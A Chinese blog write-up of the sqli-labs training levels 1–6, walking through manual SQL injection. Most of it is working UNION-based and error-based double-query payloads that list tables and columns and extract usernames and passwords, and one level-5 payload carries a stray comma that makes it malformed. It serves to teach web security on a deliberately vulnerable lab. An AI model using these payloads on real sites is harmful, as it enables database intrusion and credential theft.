sqli-labs的write up(1-6?)手动注入 并且将要失去动力学习

我菜的两批。
 

从GitHub上下载安装好sqli-labs后,

Less-1

输入单引号后报错,根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,

注意:在构造注入url时,查询id通常为0,这是因为一般来说程序(逻辑上)只会取返回结果的第一个数据,如果查询的id是有意义的,那么程序就会取该id返回的结果,我们构造的union查询就没有效果了,因此我们选择id=0即一个不存在的id,这是会返回一个空的结果集,此时程序才会取到union查询的结果。其他题同理。

爆表:
用到语句:

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

爆列:
用到语句:

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

 

爆值:
用到语句:

?id=0' union select 1,group_concat(username,password),3 from users--+


注意:


图中的3换成几都可以但不能为空,且前后这个地方出现的数应该一致

 

less-2

输入单引号后报错,根据报错信息确定输入的内容被带入到数据库中,也可叫做数字型注入

 

爆表:
用到语句:

id=0 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+

 

爆列:
用到语句:

id=0 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' --+

 

爆值:
用到语句:

id=0 union select 1,group_concat(username,password),2 from users--+

 

less-3

输入单引号,根据报错信息确定输入的内容存放到一对单引号加圆括号中了

 

爆表:
用到语句:

id=0') union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database() --+

 

爆列:
用到语句:

id=0') union select 1,group_concat(column_name),1 from information_schema.columns where table_name='users' --+

 

爆值:
用到语句:

id=0') union select 1,group_concat(username),group_concat(password) from users%23

less-4

输入单引号没有报错,尝试输入双引号,页面报错,根据报错信息判断出输入的内容被放到一对双引号和圆括号中

 

爆表:
用到语句:

id=0") union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database() --+

爆列:
用到语句:

id=0") union select 1,group_concat(column_name),1 from information_schema.columns where table_name='users' --+

爆值:
用到语句:

id=0") union select 1,group_concat(username,password),1 from users--+

sqli-labs level5-6 双查询注入

双查询注入很重要,这一点儿比之前的几关更难,此大佬博客讲的比较清楚。

https://www.jianshu.com/p/786aa540a900

 

盲注需要掌握一些MySQL的相关函数:

substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。
*注意:这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len):跟上面的一样,截取字符串

ascii(str):返回字符串str的最左面字符的ASCII代码值。

ord(str):同上,返回ascii码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

一些绕过技巧可参考此大佬blog:https://www.cnblogs.com/Vinson404/p/7253255.html

获取数据库:

?id=-1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

获取表名:

?id=-1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a),from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

 

获取用户信息:

?id=-1' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

 

less 6只需在less 5的基础上把单引号改为双引号即可

less 7

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值